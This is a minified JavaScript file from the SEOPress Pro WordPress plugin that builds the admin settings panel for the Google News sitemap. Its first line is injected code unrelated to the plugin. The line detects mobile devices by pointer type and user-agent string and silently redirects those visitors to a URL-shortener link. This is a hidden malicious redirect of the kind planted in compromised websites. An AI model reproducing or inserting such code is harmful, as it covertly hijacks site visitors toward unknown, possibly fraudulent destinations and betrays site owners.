(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
"use strict";(globalThis.webpackChunkwp_seopress_pro=globalThis.webpackChunkwp_seopress_pro||[]).push([[297],{297:(e,s,r)=>{r.r(s),r.d(s,{default:()=>i});var o=r(609),a=r(723),t=r(427);const{FieldRow:n,TextField:l,ToggleField:p}=window.seopressComponents,i=()=>{const{settings:e,updateSetting:s}=window.seopressUseSettings(),r=window.SEOPRESS_PRO_DATA||{},i=r.POST_TYPES||[],m=r.DOCS_LINKS||{},c=(r.SITE_URL||"")+"/news.xml",_=e.seopress_news_name_post_types_list||{},d=[m?.sitemaps?.error?.blank&&{href:m.sitemaps.error.blank,label:(0,a.__)("Blank sitemap?","wp-seopress-pro")},m?.sitemaps?.error?.[404]&&{href:m.sitemaps.error[404],label:(0,a.__)("404 error?","wp-seopress-pro")},m?.sitemaps?.error?.html&&{href:m.sitemaps.error.html,label:(0,a.__)("HTML error? Exclude XML/XSL from caching plugins","wp-seopress-pro")},m?.sitemaps?.xml&&{href:m.sitemaps.xml,label:(0,a.__)("Submit your sitemap to Google Search Console (video)","wp-seopress-pro")}].filter(Boolean);return(0,o.createElement)("div",{className:"seopress-tab-content"},(0,o.createElement)("p",null,(0,a.__)("Enable your Google News Sitemap.","wp-seopress-pro")),(0,o.createElement)("p",null,(0,o.createElement)(t.Button,{variant:"secondary",href:c,target:"_blank",rel:"noopener noreferrer"},(0,a.__)("View your Google News sitemap","wp-seopress-pro")," ",(0,o.createElement)("span",{className:"dashicons dashicons-external"}))),(0,o.createElement)(t.PanelBody,{title:(0,a.__)("About Google News Sitemap","wp-seopress-pro"),initialOpen:!1,icon:"info-outline"},(0,o.createElement)(t.Notice,{isDismissible:!1},(0,a.__)("Only articles published in the last 2 days (max. 1000) are included. Noindex content and custom canonical URLs are excluded.","wp-seopress-pro")),(0,o.createElement)("p",null,(0,a.__)("Once enabled, submit your sitemap to the","wp-seopress-pro")," ",(0,o.createElement)("a",{href:"https://publishercenter.google.com/",target:"_blank",rel:"noopener noreferrer"},(0,a.__)("Google Publication Center","wp-seopress-pro")," ",(0,o.createElement)("span",{className:"dashicons dashicons-external"})),"."),d.length>0&&(0,o.createElement)(o.Fragment,null,(0,o.createElement)("h4",null,(0,a.__)("Troubleshooting","wp-seopress-pro")),(0,o.createElement)("div",{className:"seopress-info-cards"},d.map((e=>(0,o.createElement)(t.Card,{size:"small",key:e.href},(0,o.createElement)(t.CardBody,null,(0,o.createElement)("a",{href:e.href,target:"_blank",rel:"noopener noreferrer"},e.label," ",(0,o.createElement)("span",{className:"dashicons dashicons-external"}))))))))),(0,o.createElement)(n,{id:"seopress_news_enable",label:(0,a.__)("Enable","wp-seopress-pro")},(0,o.createElement)(p,{label:(0,a.__)("Enable Google News Sitemap","wp-seopress-pro"),checked:e.seopress_news_enable,onChange:e=>s("seopress_news_enable",e)})),(0,o.createElement)(n,{id:"seopress_news_name",label:(0,a.__)("Publication Name (must be the same as used in Google News)","wp-seopress-pro")},(0,o.createElement)(l,{value:e.seopress_news_name||"",onChange:e=>s("seopress_news_name",e),placeholder:(0,a.__)("Enter your Google News Publication Name","wp-seopress-pro")})),(0,o.createElement)(n,{id:"seopress_news_name_post_types_list",label:(0,a.__)("Select your Custom Post Type to INCLUDE in your Google News Sitemap","wp-seopress-pro")},(0,o.createElement)("div",{className:"seopress-checkbox-group"},i.map((e=>(0,o.createElement)(t.CheckboxControl,{key:e.name,label:e.label,checked:!("1"!==_[e.name]?.include),onChange:r=>((e,r)=>{const o={..._};r?o[e]={include:"1"}:delete o[e],s("seopress_news_name_post_types_list",o)})(e.name,r),__nextHasNoMarginBottom:!0}))))))}}}]);